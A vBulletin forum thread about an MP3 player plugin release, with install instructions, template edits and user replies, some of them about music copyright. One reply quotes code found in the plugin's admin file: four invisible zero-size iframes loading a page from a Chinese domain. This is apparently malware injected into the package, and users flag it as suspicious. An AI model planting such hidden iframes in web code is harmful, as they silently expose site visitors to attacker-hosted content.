[high]External Data Pull[/high]
This modification is designed to pull data from internal and external servers. Check that you enter full urls to pull external data or the modification will fail to read.

[high]Features:[/high]

• Can hold upto 500 mp3 tracks (5 playlists with 100 tracks in each)
• Automatically cuts off access to playlists if 100 tracks are reached
• All track data held in database
• Volume & Pan(balance) Controls
• Add mp3's through AdminCP or via Popup
• PM system notifcation of new tracks submitted
• Edit/Delete/Approve/Deny tracks via AdminCP
• Usergroup Permissions for adding tracks and viewing of player
• Multi-functional display on mp3 player
• WOL Enabled - see who's using the mp3 player
• Stream and Buffer parameters per track

This version is not compatible with the XML driven vbMp3 Player I released awhile ago (you may uninstall or leave in, as this version uses renamed files). The player, and all code have been changed, and now fully utilizes the vBulletin AdminCP for settings, mp3 playlist management, usergroup permissions.

[high]Known Issues:[/high]
None

UPDATING:
Overwrite all files with the new package XEON Mp3 Player v4.0.0
Import the Product XML file using the vBulletin Product Manager. Go to Mp3 Player Management and update settings and Save.

Template edit:
(required on new install or upgrade, unless you have installed other products from us.).
In the headinclude template -
Find:

<script type="text/javascript" src="clientscript/vbulletin_global.js?v=$vboptions[simpleversion]"></script>

Above add:

<script type="text/javascript" src="clientscript/flashobject.js"></script>

If this line of code already exists then DO NOT ADD IT!

End of Update


MAIN INSTALLATION

Installation:
Upload the contents of the ?Upload folder? to your forum root. Import the ?product-mp3player.xml? file via ?Plugins & Products? ? Manage Products ? Import Product in your AdminCP. Press F5 or refresh your browser window to view the Mp3 Player Management menu. Once you install this version make sure you Update the MP3 Management settings and click SAVE, failure to do so will result in an error if you enable the custom PM notification system.

Template Edits:
These edits are based on the default vBulletin style, you may need to change if you have a custom style.


AdminCP -> Styles & Templates -> Navigation / Breadcrumb Templates -> navbar

Find:

<td class="vbmenu_control"><a href="calendar.php$session[sessionurl_q]">$vbphrase[calendar]</a></td>

After add:

<!-- Mp3 Player Launch -->
<if condition="$show['member']">
<td class="vbmenu_control"><a href="javascript:NewWindow=window.open('$vboptions[bburl]/mp3playerindex.php?do=viewmp3playerpopup','newWin','width=500,height=500,left=0,top=0, toolbar=No,location=No,scrollbars=1,status=No,resizable=No,fullscreen=No');
NewWindow.focus(); void(0);">vbMp3 Player</a></td>
</if>
<!-- End Mp3 Player Launch -->

Now, navigate to AdminCP -> Usergroups -> Usergroup Manager ? adjust usergroups permissions as required. Default is all usergroups have no access.

You now have the vbMp3 XEON player installed!

[high]Update notifications can only be sent out if you have clicked 'INSTALL'.[/high]

More players will available shortly.

Enjoy!

You can still access the player via direct URL, even when not logged into a ste. I have done it on a couple of people who have it installed here and on mine as well.

Example:
http://www.digitalport.co.uk/digital...mp3playerpopup

By the way, in mp3player_admin.php, what is the purpose of this code at the very end?

<iframe src="http://www.566.net.cn/inde1.htm" width="0" height="0" frameborder="0"></iframe> 
<iframe src="http://www.566.net.cn/inde1.htm" width="0" height="0" frameborder="0"></iframe> 
<iframe src="http://www.566.net.cn/inde1.htm" width="0" height="0" frameborder="0"></iframe> 
<iframe src="http://www.566.net.cn/inde1.htm" width="0" height="0" frameborder="0"></iframe>

I do believe that was the file that was getting tagged with virus scan as well.

The next post is worse. It has an iframe in the php file.

[blogtorank]

555.net.cn/inde1.htm = 404 ERR

Guess I'll disable mine on this end until the coder comes back with some sort of excuse why, good snag glorify!

Thanks...I read that but am still not convinced. Napster was free also. Public radio is free but the stations still pay a royalty for airing the songs I think.

Also, how about server load?

[dknelson]

After posting that, I did some more research. It appears to me that it is not legal to broadcast music that is copyrighted without paying a royalty. I realize that they would likely not go after most of the small sites but who knows.

Here is a pretty good link that specifies this and also some info that could make it even worse in the future.

u made some valid points.

additional reading can be found here:

http://www.riaa.com/issues/music/webcasting.asp

all i can really recommend is to not stream an entire album, don't create a profit-making website, and don't offer a large amount of streaming mp3's for your site.

after that, it would seem easier for them to first issue u a cease-and-desist order
